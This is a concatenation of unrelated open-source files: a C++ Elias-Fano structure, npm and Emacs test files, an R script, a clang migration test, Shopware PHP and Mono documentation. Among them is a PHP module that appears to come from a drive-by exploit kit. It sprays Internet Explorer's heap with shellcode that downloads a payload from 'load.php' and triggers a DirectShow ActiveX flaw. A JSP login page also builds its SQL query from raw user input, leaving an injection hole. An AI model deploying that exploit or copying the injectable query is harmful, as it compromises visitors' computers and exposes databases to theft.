build(builder, with_rank_index);
}
elias_fano(elias_fano_builder* builder, bool with_rank_index = true)
{
build(*builder, with_rank_index);
}
template <typename Visitor>
void map(Visitor& visit) {
visit
(m_size, "m_size")
(m_high_bits, "m_high_bits")
(m_high_bits_d1, "m_high_bits_d1")
(m_high_bits_d0, "m_high_bits_d0")
(m_low_bits, "m_low_bits")
(m_l, "m_l")
;
}
void swap(elias_fano& other) {
std::swap(other.m_size, m_size);
other.m_high_bits.swap(m_high_bits);
other.m_high_bits_d1.swap(m_high_bits_d1);
other.m_high_bits_d0.swap(m_high_bits_d0);
other.m_low_bits.swap(m_low_bits);
std::swap(other.m_l, m_l);
}
inline uint64_t size() const {
return m_size;
}
inline uint64_t num_ones() const {
return m_high_bits_d1.num_positions();
}
inline bool operator[](uint64_t pos) const {
assert(pos < size());
assert(m_high_bits_d0.num_positions()); // needs rank index
uint64_t h_rank = pos >> m_l;
uint64_t h_pos = m_high_bits_d0.select(m_high_bits, h_rank);
uint64_t rank = h_pos - h_rank;
uint64_t l_pos = pos & ((1ULL << m_l) - 1);
while (h_pos > 0
&& m_high_bits[h_pos - 1]) {
--rank;
--h_pos;
uint64_t cur_low_bits = m_low_bits.get_bits(rank * m_l, m_l);
if (cur_low_bits == l_pos) {
return true;
} else if (cur_low_bits < l_pos) {
return false;
}
}
return false;
}
inline uint64_t select(uint64_t n) const {
return
((m_high_bits_d1.select(m_high_bits, n) - n) << m_l)
| m_low_bits.get_bits(n * m_l, m_l);
}
inline uint64_t rank(uint64_t pos) const {
assert(pos <= m_size);
assert(m_high_bits_d0.num_positions()); // needs rank index
if (pos == size()) {
return num_ones();
}
uint64_t h_rank = pos >> m_l;
uint64_t h_pos = m_high_bits_d0.select(m_high_bits, h_rank);
uint64_t rank = h_pos - h_rank;
uint64_t l_pos = pos & ((1ULL << m_l) - 1);
while (h_pos > 0
&& m_high_bits[h_pos - 1]
&& m_low_bits.get_bits((rank - 1) * m_l, m_l) >= l_pos) {
--rank;
--h_pos;
}
return rank;
}
inline uint64_t predecessor1(uint64_t pos) const {
return select(rank(pos + 1) - 1);
}
inline uint64_t successor1(uint64_t pos) const {
return select(rank(pos));
}
// Equivalent to select(n) - select(n - 1) (and select(0) for n = 0)
// Involves a linear search for predecessor in high bits.
// Efficient only if there are no large gaps in high bits
// XXX(ot): could make this adaptive
inline uint64_t delta(uint64_t n) const {
uint64_t high_val = m_high_bits_d1.select(m_high_bits, n);
uint64_t low_val = m_low_bits.get_bits(n * m_l, m_l);
if (n) {
return
// need a + here instead of an | for carry
((high_val - m_high_bits.predecessor1(high_val - 1) - 1) << m_l)
+ low_val - m_low_bits.get_bits((n - 1) * m_l, m_l);
} else {
return
((high_val - n) << m_l)
| low_val;
}
}
// same as delta()
inline std::pair<uint64_t, uint64_t> select_range(uint64_t n) const
{
assert(n + 1 < num_ones());
uint64_t high_val_b = m_high_bits_d1.select(m_high_bits, n);
uint64_t low_val_b = m_low_bits.get_bits(n * m_l, m_l);
uint64_t high_val_e = m_high_bits.successor1(high_val_b + 1);
uint64_t low_val_e = m_low_bits.get_bits((n + 1) * m_l, m_l);
return std::make_pair(((high_val_b - n) << m_l) | low_val_b,
((high_val_e - n - 1) << m_l) | low_val_e);
}
struct select_enumerator {
select_enumerator(elias_fano const& ef, uint64_t i)
: m_ef(&ef)
, m_i(i)
, m_l(ef.m_l)
{
m_low_mask = (uint64_t(1) << m_l) - 1;
m_low_buf = 0;
if (m_l) {
m_chunks_in_word = 64 / m_l;
m_chunks_avail = 0;
} else {
m_chunks_in_word = 0;
m_chunks_avail = m_ef->num_ones();
}
if (!m_ef->num_ones()) return;
uint64_t pos = m_ef->m_high_bits_d1.select(m_ef->m_high_bits, m_i);
m_high_enum = bit_vector::unary_enumerator(m_ef->m_high_bits, pos);
assert(m_l < 64);
}
uint64_t next() {
if (!m_chunks_avail--) {
m_low_buf = m_ef->m_low_bits.get_word(m_i * m_l);
m_chunks_avail = m_chunks_in_word - 1;
}
uint64_t high = m_high_enum.next();
assert(high == m_ef->m_high_bits_d1.select(m_ef->m_high_bits, m_i));
uint64_t low = m_low_buf & m_low_mask;
uint64_t ret =
((high - m_i) << m_l)
| low;
m_i += 1;
m_low_buf >>= m_l;
return ret;
}
private:
elias_fano const* m_ef;
uint64_t m_i;
uint64_t m_l;
bit_vector::unary_enumerator m_high_enum;
uint64_t m_low_buf;
uint64_t m_low_mask;
uint64_t m_chunks_in_word;
uint64_t m_chunks_avail;
};
protected:
void build(elias_fano_builder& builder, bool with_rank_index) {
m_size = builder.m_n;
m_l = builder.m_l;
bit_vector(&builder.m_high_bits).swap(m_high_bits);
darray1(m_high_bits).swap(m_high_bits_d1);
if (with_rank_index) {
darray0(m_high_bits).swap(m_high_bits_d0);
}
bit_vector(&builder.m_low_bits).swap(m_low_bits);
}
uint64_t m_size;
bit_vector m_high_bits;
darray1 m_high_bits_d1;
darray0 m_high_bits_d0;
bit_vector m_low_bits;
uint8_t m_l;
};
}
#if defined(__clang__)
#pragma clang diagnostic pop
#endif
| {
"pile_set_name": "Github"
} |
//
// NSDate-MJGFormat.h
// MJGFoundation
//
// Created by Matt Galloway on 24/12/2011.
// Copyright (c) 2011 Matt Galloway. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface NSDate (MJGFormat)
+ (NSDate*)dateFromString:(NSString*)string withFormat:(NSString*)format;
- (NSString*)dateStringWithFormat:(NSString*)format;
@end
| {
"pile_set_name": "Github"
} |
{
"name": "LaraWebEdAdmin",
"version": "1.0.0",
"description": "",
"main": "gulpfile.js",
"author": "[email protected]",
"license": "MIT",
"dependencies": {
"glob": "^5.0.9",
"gulp": "^3.9.0",
"gulp-autoprefixer": "^2.3.0",
"gulp-compass": "^2.1.0",
"gulp-concat": "^2.6.0",
"gulp-minify": "0.0.5",
"gulp-notify": "^2.2.0",
"gulp-plumber": "^1.0.1",
"gulp-rename": "^1.2.2",
"gulp-sass": "^2.0.1",
"gulp-sourcemaps": "^1.6.0",
"gulp-uglify": "^1.2.0",
"node-path": "^0.0.3"
}
}
| {
"pile_set_name": "Github"
} |
;;; eclim-common-tests.el --- Tests for eclim-common.el -*- lexical-binding: t; -*-
;; This file is not part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; GNU General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with GNU Emacs. If not, see <http://www.gnu.org/licenses/>.
;;; Commentary:
;; Tests for eclim-common.el
;;; Code:
(require 'eclim-common "eclim-common.el")
(ert-deftest java-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.java") t)))
(ert-deftest javascript-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.js") t)))
(ert-deftest xml-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.xml") t)))
(ert-deftest ruby-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.rb") t)))
(ert-deftest groovy-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.groovy") t)))
(ert-deftest php-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.php") t)))
(ert-deftest c-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.c") t)))
(ert-deftest cc-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.cc") t)))
(ert-deftest scala-accepted-filename-p-test ()
(should (equal (eclim--accepted-filename-p "test.scala") t)))
(ert-deftest invalid-accepted-filename-p-test ()
(should-not (equal (eclim--accepted-filename-p "test.xyz") t)))
;;; eclim-common-test ends here
| {
"pile_set_name": "Github"
} |
package org.sunger.net.model;
import org.sunger.net.api.ApiClient;
import org.sunger.net.config.AppConstants;
import org.sunger.net.entity.CategoryEntity;
import org.sunger.net.support.okhttp.callback.ResultCallback;
import org.sunger.net.support.okhttp.request.OkHttpRequest;
import java.util.List;
public class CategoryModel {
/**
* 获取首页分类列表
*
* @param callback
* @return
*/
public OkHttpRequest getCategory(ResultCallback<List<CategoryEntity>> callback) {
return ApiClient.create(AppConstants.RequestPath.CATEGOTY).tag("").get(callback);
}
}
| {
"pile_set_name": "Github"
} |
var compareAscending = require('./_compareAscending');
/**
* Used by `_.orderBy` to compare multiple properties of a value to another
* and stable sort them.
*
* If `orders` is unspecified, all values are sorted in ascending order. Otherwise,
* specify an order of "desc" for descending or "asc" for ascending sort order
* of corresponding values.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {boolean[]|string[]} orders The order to sort by for each property.
* @returns {number} Returns the sort order indicator for `object`.
*/
function compareMultiple(object, other, orders) {
var index = -1,
objCriteria = object.criteria,
othCriteria = other.criteria,
length = objCriteria.length,
ordersLength = orders.length;
while (++index < length) {
var result = compareAscending(objCriteria[index], othCriteria[index]);
if (result) {
if (index >= ordersLength) {
return result;
}
var order = orders[index];
return result * (order == 'desc' ? -1 : 1);
}
}
// Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
// that causes it, under certain circumstances, to provide the same value for
// `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
// for more details.
//
// This also ensures a stable sort in V8 and other engines.
// See https://bugs.chromium.org/p/v8/issues/detail?id=90 for more details.
return object.index - other.index;
}
module.exports = compareMultiple;
| {
"pile_set_name": "Github"
} |
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<jsp:useBean id="chStr" scope="page" class="com.tools.ChStr"/>
<jsp:useBean id="conn" scope="page" class="com.tools.ConnDB"/>
<%
String manager=chStr.chStr(request.getParameter("manager"));//此处必须进行编码转换,否则输入中文用户名时将出现乱码
try{
ResultSet rs=conn.executeQuery("select * from tb_manager where manager='"+manager+"'");
if(rs.next()){
String PWD=request.getParameter("PWD");
if(PWD.equals(rs.getString("PWD"))){
session.setAttribute("manager",manager);
response.sendRedirect("index.jsp");
}else{
out.println("<script language='javascript'>alert('您输入的管理员或密码错误!');window.location.href='../index.jsp';</script>");
}
}else{
out.println("<script language='javascript'>alert('您输入的管理员或密码错误!');window.location.href='../index.jsp';</script>");
}
}catch(Exception e){
out.println("<script language='javascript'>alert('您的操作有误!');window.location.href='../index.jsp';</script>");
}
%>
| {
"pile_set_name": "Github"
} |
#-------------------------------------------------------------
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
#-------------------------------------------------------------
args <- commandArgs(TRUE)
options(digits=22)
library("Matrix")
A1 <- readMM(paste(args[1], "A.mtx", sep=""))
A <- as.matrix(A1);
type = as.integer(args[2])
constant = as.double(args[3]);
if( type == 0 )
{
B = (A > constant)
}
if( type == 1 )
{
B = (A < constant)
}
if( type == 2 )
{
B = (A == constant)
}
if( type == 3 )
{
B = (A != constant)
}
if( type == 4 )
{
B = (A >= constant)
}
if( type == 5 )
{
B = (A <= constant)
}
writeMM(as(B, "CsparseMatrix"), paste(args[4], "B", sep="")); | {
"pile_set_name": "Github"
} |
static inline unsigned int rgb_to_pixel8(unsigned int r, unsigned int g,
unsigned int b)
{
return ((r >> 5) << 5) | ((g >> 5) << 2) | (b >> 6);
}
static inline unsigned int rgb_to_pixel15(unsigned int r, unsigned int g,
unsigned int b)
{
return ((r >> 3) << 10) | ((g >> 3) << 5) | (b >> 3);
}
static inline unsigned int rgb_to_pixel15bgr(unsigned int r, unsigned int g,
unsigned int b)
{
return ((b >> 3) << 10) | ((g >> 3) << 5) | (r >> 3);
}
static inline unsigned int rgb_to_pixel16(unsigned int r, unsigned int g,
unsigned int b)
{
return ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3);
}
static inline unsigned int rgb_to_pixel16bgr(unsigned int r, unsigned int g,
unsigned int b)
{
return ((b >> 3) << 11) | ((g >> 2) << 5) | (r >> 3);
}
static inline unsigned int rgb_to_pixel24(unsigned int r, unsigned int g,
unsigned int b)
{
return (r << 16) | (g << 8) | b;
}
static inline unsigned int rgb_to_pixel24bgr(unsigned int r, unsigned int g,
unsigned int b)
{
return (b << 16) | (g << 8) | r;
}
static inline unsigned int rgb_to_pixel32(unsigned int r, unsigned int g,
unsigned int b)
{
return (r << 16) | (g << 8) | b;
}
static inline unsigned int rgb_to_pixel32bgr(unsigned int r, unsigned int g,
unsigned int b)
{
return (b << 16) | (g << 8) | r;
}
| {
"pile_set_name": "Github"
} |
//
// "$Id: Fl_Object.H 8864 2011-07-19 04:49:30Z greg.ercolano $"
//
// Old Fl_Object header file for the Fast Light Tool Kit (FLTK).
//
// Copyright 1998-2010 by Bill Spitzak and others.
//
// This library is free software. Distribution and use rights are outlined in
// the file "COPYING" which should have been included with this file. If this
// file is missing or damaged, see the license at:
//
// http://www.fltk.org/COPYING.php
//
// Please report all bugs and problems on the following page:
//
// http://www.fltk.org/str.php
//
// This file is provided for back compatibility only. Please use Fl_Widget
#ifndef Fl_Object
#define Fl_Object Fl_Widget
#endif
#include "Fl_Widget.H"
//
// End of "$Id: Fl_Object.H 8864 2011-07-19 04:49:30Z greg.ercolano $".
//
| {
"pile_set_name": "Github"
} |
// RUN: rm -rf %t
// RUN: %clang_cc1 -objcmt-migrate-literals -objcmt-migrate-subscripting -mt-migrate-directory %t %s -x objective-c -triple x86_64-apple-darwin11
// RUN: c-arcmt-test -mt-migrate-directory %t | arcmt-test -verify-transformed-files %s.result
// RUN: %clang_cc1 -triple x86_64-apple-darwin10 -fsyntax-only -x objective-c %s.result
typedef signed char BOOL;
#define nil ((void*) 0)
typedef const struct __CFString * CFStringRef;
@interface NSObject
+ (id)alloc;
@end
@protocol NSCopying
@end
@interface NSString : NSObject
+ (id)stringWithString:(NSString *)string;
- (id)initWithString:(NSString *)aString;
@end
@interface NSArray : NSObject
- (id)objectAtIndex:(unsigned long)index;
@end
@interface NSArray (NSExtendedArray)
- (id)objectAtIndexedSubscript:(unsigned)idx;
@end
@interface NSArray (NSArrayCreation)
+ (id)array;
+ (id)arrayWithObject:(id)anObject;
+ (id)arrayWithObjects:(const id [])objects count:(unsigned long)cnt;
+ (id)arrayWithObjects:(id)firstObj, ...;
+ (id)arrayWithArray:(NSArray *)array;
- (id)initWithObjects:(const id [])objects count:(unsigned long)cnt;
- (id)initWithObjects:(id)firstObj, ...;
- (id)initWithArray:(NSArray *)array;
@end
@interface NSMutableArray : NSArray
- (void)replaceObjectAtIndex:(unsigned long)index withObject:(id)anObject;
@end
@interface NSMutableArray (NSExtendedMutableArray)
- (void)setObject:(id)obj atIndexedSubscript:(unsigned)idx;
@end
@interface NSDictionary : NSObject
- (id)objectForKey:(id)aKey;
@end
@interface NSDictionary (NSExtendedDictionary)
- (id)objectForKeyedSubscript:(id)key;
@end
@interface NSDictionary (NSDictionaryCreation)
+ (id)dictionary;
+ (id)dictionaryWithObject:(id)object forKey:(id)key;
+ (id)dictionaryWithObjects:(const id [])objects forKeys:(const id [])keys count:(unsigned long)cnt;
+ (id)dictionaryWithObjectsAndKeys:(id)firstObject, ...;
+ (id)dictionaryWithDictionary:(NSDictionary *)dict;
+ (id)dictionaryWithObjects:(NSArray *)objects forKeys:(NSArray *)keys;
- (id)initWithObjects:(const id [])objects forKeys:(const id [])keys count:(unsigned long)cnt;
- (id)initWithObjectsAndKeys:(id)firstObject, ...;
- (id)initWithDictionary:(NSDictionary *)otherDictionary;
- (id)initWithObjects:(NSArray *)objects forKeys:(NSArray *)keys;
@end
@interface NSMutableDictionary : NSDictionary
- (void)setObject:(id)anObject forKey:(id)aKey;
@end
@interface NSMutableDictionary (NSExtendedMutableDictionary)
- (void)setObject:(id)obj forKeyedSubscript:(id <NSCopying>)key;
@end
@interface NSNumber : NSObject
@end
@interface NSNumber (NSNumberCreation)
+ (NSNumber *)numberWithInt:(int)value;
@end
#define M(x) (x)
#define PAIR(x) @#x, [NSNumber numberWithInt:(x)]
#define TWO(x) ((x), (x))
#define TWO_SEP(x,y) ((x), (y))
@interface I {
NSArray *ivarArr;
}
@end
@implementation I
-(void) foo {
NSString *str;
NSArray *arr;
NSDictionary *dict;
arr = @[];
arr = @[str];
arr = @[str, str];
dict = @{};
dict = @{str: arr};
dict = @{@"key1": @"value1", @"key2": @"value2"};
dict = [NSDictionary dictionaryWithObjectsAndKeys: PAIR(1), PAIR(2), nil];
dict = [NSDictionary dictionaryWithObjectsAndKeys:
@"value1", @"key1",
#ifdef BLAH
@"value2", @"key2",
#else
@"value3", @"key3",
#endif
nil ];
id o = arr[2];
o = dict[@"key"];
o = TWO(dict[@"key"]);
o = TWO_SEP(dict[@"key"], arr[2]);
o = @{@"key": @{}};
NSMutableArray *marr = 0;
NSMutableDictionary *mdict = 0;
marr[2] = @"val";
mdict[@"key"] = @"value";
marr[2] = arr[4];
mdict[@"key"] = dict[@"key2"];
[mdict setObject:dict[@"key2"] forKey:
#if 1
@"key1"
#else
@"key2"
#endif
];
mdict[@"key"] = [dict objectForKey:
#if 2
@"key3"
#else
@"key4"
#endif
];
mdict[[dict objectForKey:
#if 3
@"key5"
#else
@"key6"
#endif
]] = @"value";
mdict[dict[@"key2"]] = @"val";
mdict[dict[@[@"arrkey"]]] = dict[@"key1"];
__strong NSArray **parr = 0;
o = (*parr)[2];
void *hd;
o = ((NSArray*)hd)[2];
o = ivarArr[2];
dict = @{@"A": @"1", arr[2]: @[]};
dict = [NSDictionary dictionaryWithObjects:@[@"1", @"2"] forKeys:arr];
dict = @{@"A": @"1", @"B": @"2"};
dict = @{@"A": @[], @"B": @[]};
}
@end
extern const CFStringRef globStr;
void test1(NSString *str) {
NSDictionary *dict = @{(id)globStr: str};
dict = @{str: (id)globStr};
dict = @{(id)globStr: str};
dict = @{str: (id)globStr};
NSArray *arr = @[(id)globStr, (id)globStr];
arr = @[str, (id)globStr];
arr = @[(id)globStr, str];
arr = @[(id)globStr];
}
@interface Custom : NSObject
- (id)objectAtIndex:(unsigned long)index;
@end
@interface Custom (Extended)
- (id)objectAtIndexedSubscript:(unsigned)idx;
@end
@interface MutableCustom : Custom
- (void)replaceObjectAtIndex:(unsigned long)index withObject:(id)anObject;
@end
@interface MutableCustom (Extended)
- (void)setObject:(id)obj atIndexedSubscript:(unsigned)idx;
@end
@interface CustomUnavail : NSObject
- (id)objectAtIndex:(unsigned long)index;
@end
@interface CustomUnavail (Extended)
- (id)objectAtIndexedSubscript:(unsigned)idx __attribute__((unavailable));
@end
@interface MutableCustomUnavail : CustomUnavail
- (void)replaceObjectAtIndex:(unsigned long)index withObject:(id)anObject;
@end
@interface MutableCustomUnavail (Extended)
- (void)setObject:(id)obj atIndexedSubscript:(unsigned)idx __attribute__((unavailable));
@end
void test2() {
MutableCustom *mutc;
id o = mutc[4];
mutc[2] = @"val";
MutableCustomUnavail *mutcunaval;
o = [mutcunaval objectAtIndex:4];
[mutcunaval replaceObjectAtIndex:2 withObject:@"val"];
}
@interface NSLocale : NSObject
+ (id)systemLocale;
+ (id)currentLocale;
- (id)objectForKey:(id)key;
@end
void test3(id key) {
id o = [[NSLocale currentLocale] objectForKey:key];
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* Shopware 5
* Copyright (c) shopware AG
*
* According to our dual licensing model, this program can be used either
* under the terms of the GNU Affero General Public License, version 3,
* or under a proprietary license.
*
* The texts of the GNU Affero General Public License with an additional
* permission and of our proprietary license can be found at and
* in the LICENSE file you have received along with this program.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* "Shopware" is a registered trademark of shopware AG.
* The licensing of the program under the AGPLv3 does not imply a
* trademark license. Therefore any rights, title and interest in
* our trademarks remain entirely with us.
*/
namespace Shopware\Bundle\ContentTypeBundle\Services;
use Shopware\Bundle\ContentTypeBundle\Field\DummyField;
use Shopware\Bundle\ContentTypeBundle\Field\FieldInterface;
use Shopware\Bundle\ContentTypeBundle\Field\TypeField;
use Shopware\Bundle\ContentTypeBundle\Field\TypeGrid;
use Shopware\Bundle\ContentTypeBundle\Structs\Field;
use Shopware\Bundle\ContentTypeBundle\Structs\Fieldset;
use Shopware\Bundle\ContentTypeBundle\Structs\Type;
class TypeBuilder
{
/**
* @var array
*/
private $fields;
public function __construct(array $fields, array $types)
{
$this->fields = $fields;
foreach (array_keys($types) as $type) {
$this->fields[$type . '-field'] = TypeField::class;
$this->fields[$type . '-grid'] = TypeGrid::class;
}
}
public function createType(string $name, array $type): Type
{
$class = new Type();
$class->setName($type['name']);
$class->setInternalName($name);
if (isset($type['source'])) {
$class->setSource($type['source']);
}
if (isset($type['showInFrontend'])) {
$class->setShowInFrontend($type['showInFrontend']);
}
if (isset($type['menuIcon'])) {
$class->setMenuIcon($type['menuIcon']);
}
if (isset($type['menuPosition'])) {
$class->setMenuPosition($type['menuPosition']);
}
if (isset($type['menuParent'])) {
$class->setMenuParent($type['menuParent']);
}
if (isset($type['custom'])) {
$class->setCustom($type['custom']);
}
if (isset($type['viewTitleFieldName'])) {
$class->setViewTitleFieldName($type['viewTitleFieldName']);
}
if (isset($type['viewDescriptionFieldName'])) {
$class->setViewDescriptionFieldName($type['viewDescriptionFieldName']);
}
if (isset($type['viewImageFieldName'])) {
$class->setViewImageFieldName($type['viewImageFieldName']);
}
if (isset($type['viewMetaTitleFieldName'])) {
$class->setViewMetaTitleFieldName($type['viewMetaTitleFieldName']);
}
if (isset($type['viewMetaDescriptionFieldName'])) {
$class->setViewMetaDescriptionFieldName($type['viewMetaDescriptionFieldName']);
}
if (isset($type['seoUrlTemplate'])) {
$class->setSeoUrlTemplate($type['seoUrlTemplate']);
}
if (isset($type['seoRobots'])) {
$class->setSeoRobots($type['seoRobots']);
}
$fieldSets = [];
$fields = [];
foreach ($type['fieldSets'] as $fieldSet) {
$fieldSet = $this->createFieldset($fieldSet);
$fieldSets[] = $fieldSet;
$fields = array_merge($fields, $fieldSet->getFields());
}
$class->setFields($fields);
$class->setFieldSets($fieldSets);
return $class;
}
public function createFieldset(array $fieldset): Fieldset
{
$class = new Fieldset();
if (isset($fieldset['label'])) {
$class->setLabel($fieldset['label']);
}
if (isset($fieldset['options'])) {
$class->setOptions($fieldset['options']);
}
$fields = [];
foreach ($fieldset['fields'] as $field) {
$fields[] = $this->createField($field);
}
$class->setFields($fields);
return $class;
}
public function createField(array $field): Field
{
$class = new Field();
$class->setName($field['name']);
$class->setLabel($field['label']);
$class->setTypeName($field['type']);
$className = $this->getClassByAlias($field['type']) ?: $field['type'];
if (empty($className) || !class_exists($className) || !$this->implementsFieldInterface($className)) {
$className = DummyField::class;
}
$class->setType(new $className());
if (isset($field['showListing'])) {
$class->setShowListing($field['showListing']);
}
if (isset($field['searchAble'])) {
$class->setSearchAble($field['searchAble']);
}
if (isset($field['translatable'])) {
$class->setTranslatable((bool) $field['translatable']);
}
if (isset($field['description'])) {
$class->setDescription($field['description']);
}
if (isset($field['helpText'])) {
$class->setHelpText($field['helpText']);
}
if (isset($field['custom'])) {
$class->setCustom($field['custom']);
}
if (isset($field['options'])) {
$class->setOptions($field['options']);
}
if (isset($field['store'])) {
$class->setStore($field['store']);
}
if (isset($field['required'])) {
$class->setRequired($field['required']);
}
return $class;
}
public function getClassByAlias(string $alias)
{
return $this->fields[$alias] ?? null;
}
private function implementsFieldInterface(string $className): bool
{
return array_key_exists(FieldInterface::class, class_implements($className));
}
}
| {
"pile_set_name": "Github"
} |
<?php
if ($UAinfo['browser'] == "MSIE" AND ($UAinfo['platform'] == "XP" OR $UAinfo['platform'] == "2003")){
$expname = "directshow";
$exploits[] = "
function directshow(){
var shellcode = unescape(\"" . ShellCode::get($config['UrlToFolder'] . "load.php?e=4") . "\");
var bigblock = unescape(\"%u9090%u9090\");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000){
block = block + block + fillblock;
}
var memory = new Array();
for (var i = 0; i < 350; i++) {
memory[i] = block + shellcode;
}
try {
var obj = document.createElement('object');
document.body.appendChild(obj);
obj.width = '1';
obj.height = '1';
obj.data = './directshow.php';
obj.classid = 'clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
setTimeout(\"" . ($config['AjaxCheckBeforeExploit'] ? "if (CheckIP()){ Complete(); } else { %NextExploit% }" : "%NextExploit%") . "\", 1000);
} catch (e) {
%NextExploit%
}
}
";
}
?> | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Type Name="DesignSurfaceCollection" FullName="System.ComponentModel.Design.DesignSurfaceCollection">
<TypeSignature Language="C#" Value="public sealed class DesignSurfaceCollection : System.Collections.ICollection" />
<AssemblyInfo>
<AssemblyName>System.Design</AssemblyName>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<Base>
<BaseTypeName>System.Object</BaseTypeName>
</Base>
<Interfaces>
<Interface>
<InterfaceName>System.Collections.ICollection</InterfaceName>
</Interface>
</Interfaces>
<Docs>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This class provides a read-only collection of design surfaces.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Contains a collection of design surfaces. This class cannot be inherited.</para>
</summary>
</Docs>
<Members>
<Member MemberName="CopyTo">
<MemberSignature Language="C#" Value="public void CopyTo (System.ComponentModel.Design.DesignSurface[] array, int index);" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Void</ReturnType>
</ReturnValue>
<Parameters>
<Parameter Name="array" Type="System.ComponentModel.Design.DesignSurface[]" />
<Parameter Name="index" Type="System.Int32" />
</Parameters>
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Copies the collection members to the specified <see cref="T:System.ComponentModel.Design.DesignSurface" /> array beginning at the specified destination index.</para>
</summary>
<param name="array">
<attribution license="cc4" from="Microsoft" modified="false" />The array to copy collection members to.</param>
<param name="index">
<attribution license="cc4" from="Microsoft" modified="false" />The destination index to begin copying to.</param>
</Docs>
</Member>
<Member MemberName="Count">
<MemberSignature Language="C#" Value="public int Count { get; }" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Int32</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets the total number of design surfaces in the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" />.</para>
</summary>
</Docs>
</Member>
<Member MemberName="GetEnumerator">
<MemberSignature Language="C#" Value="public System.Collections.IEnumerator GetEnumerator ();" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Collections.IEnumerator</ReturnType>
</ReturnValue>
<Parameters />
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Returns an enumerator that can iterate through the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance.</para>
</summary>
<returns>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>An <see cref="T:System.Collections.IEnumerator" /> for the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance.</para>
</returns>
</Docs>
</Member>
<Member MemberName="Item">
<MemberSignature Language="C#" Value="public System.ComponentModel.Design.DesignSurface this[int index] { get; }" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.ComponentModel.Design.DesignSurface</ReturnType>
</ReturnValue>
<Parameters>
<Parameter Name="index" Type="System.Int32" />
</Parameters>
<Docs>
<param name="index">To be added.</param>
<summary>To be added.</summary>
<value>To be added.</value>
<remarks>To be added.</remarks>
</Docs>
</Member>
<Member MemberName="System.Collections.ICollection.CopyTo">
<MemberSignature Language="C#" Value="void ICollection.CopyTo (Array array, int index);" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Void</ReturnType>
</ReturnValue>
<Parameters>
<Parameter Name="array" Type="System.Array" />
<Parameter Name="index" Type="System.Int32" />
</Parameters>
<Docs>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This member is an explicit interface member implementation. It can be used only when the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance is cast to an <see cref="T:System.Collections.ICollection" /> interface.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>For a description of this member, see the <see cref="M:System.Collections.ICollection.CopyTo(System.Array,System.Int32)" /> method.</para>
</summary>
<param name="array">
